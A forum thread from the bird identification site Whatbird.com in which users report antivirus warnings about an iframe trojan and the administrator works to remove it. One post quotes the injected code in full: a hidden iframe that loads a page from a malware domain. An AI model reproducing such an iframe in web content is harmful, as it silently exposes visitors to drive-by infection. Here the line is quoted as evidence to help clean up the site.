Whatbird.com

I have noticed the last three times I've logged on here that McAfee caught and deleted a virus. It is a Trojan called J/S Exploit-Iframe. Make sure your virus protection is updated and do a spyware sweep. There are some nasty people out there.

---

Luke 12:6
Are not five sparrows sold for two pennies? And not one of them is forgotten before God.

I've noticed how Whatabird has been very slow to load at times this week.                 Thanks

---

http://whatbird.com/forums/photos/birdman/

Yep, this site is infected.  Anyone who hasn't seen an antivirus warning is also quite possibly infected.

There's a link in this site's source code to http://bigtopmanagement.cn, which is a malware site.  Probably the same issue that this guy had: http://forums.oscommerce.com/index.php?showtopic=336515

 

I found the virus was attached to our adobe acrobat program and removed it so there should no longer be any trogen's. If anyone can still detect a virus please email us at admin at whatbird dot com.

---

Mitch Waite

Jim Penny:

I've noticed how Whatabird has been very slow to load at times this week.                 Thanks

Slow to load is not connected with a virus, its that there are so many pages being read during these peak birding days. Sunday was 1 million pages viewed. It will begin to taper off from now and by the end of May will be a lot lower. 

---

Mitch Waite

n2gzs:

I have noticed the last three times I've logged on here that McAfee caught and deleted a virus. It is a Trojan called J/S Exploit-Iframe. Make sure your virus protection is updated and do a spyware sweep. There are some nasty people out there.

I'm wondering if this is a different virus than the one I found. Norton found the acrobat virus and I disinfected by removing the program and now Norton says its clean If you still get a notice from McAfee can you tell me exactly what URL it occurs on?

---

Mitch Waite

Yeah I got it again when I just opened the main page of the site http://www.whatbird.com/ .The notice popped up that McAffe had detected and deleted it. It called it J/S Exploit-Iframe and said the type was a trojan.

---

Luke 12:6
Are not five sparrows sold for two pennies? And not one of them is forgotten before God.

n2gzs:

Yeah I got it again when I just opened the main page of the site http://www.whatbird.com/ .The notice popped up that McAffe had detected and deleted it. It called it J/S Exploit-Iframe and said the type was a trojan.

It should be gone, we removed it from that file. We are scanning the entire site - and by tomorrow will have it completely expunged. Most virus software would not have found this. I am really sorry. We need to find out how it ever got on our site.

---

Mitch Waite

Unfortunately, there are just some malicious people out there who get their jollies with this sort of thing. No matter how much you try to safeguard they figure out new ways to attack. Thanks for all the wonderful work you do. This is a wonderful site!!!!!

 

This J/S Exploit is fairly new, and unless everyone has the latest updates on their virus software this one will get thru. I don't think it's particularly harmful. More of a nuisance than anything.

---

Luke 12:6
Are not five sparrows sold for two pennies? And not one of them is forgotten before God.

I was wondering where that came from.  I haven't had a virus in years!  Good thing AVG was on the ball!

Mitch,

Not sure if you got my email.  WhatBird's forums page is still sending users to a malware site (bigtopmanagement.cn). The last line in the source code is: 
 
<iframe src="http://bigtopmanagement.cn:8080/ts/in.cgi?pepsi12" width=2 height=4 style="visibility: hidden"></iframe> 

Got two virus notifications from AVG when I accessed the site today.

I never made the connection to this site until I saw this thread but I too have had virus warnings while on this site, twice this morning and a few other times over the past few days. I never paid attention to the details other than to see that it was a trojan horse. Whatever attempts to have it removed from the site, have obviously been unsuccessfull at the time of this posting.

---

My unorganized pictures can be viewed at

http://picasaweb.google.com/lonestranger102

I've gotten this message a few times in the past few days, and just got it again a few minutes ago.

Yes there was another case of the iframe virus on the forum default page, I removed it, so please test again and let us know if you get any other warnings. I'm going to get another virus checked since Norton is completely missing this.

---

Mitch Waite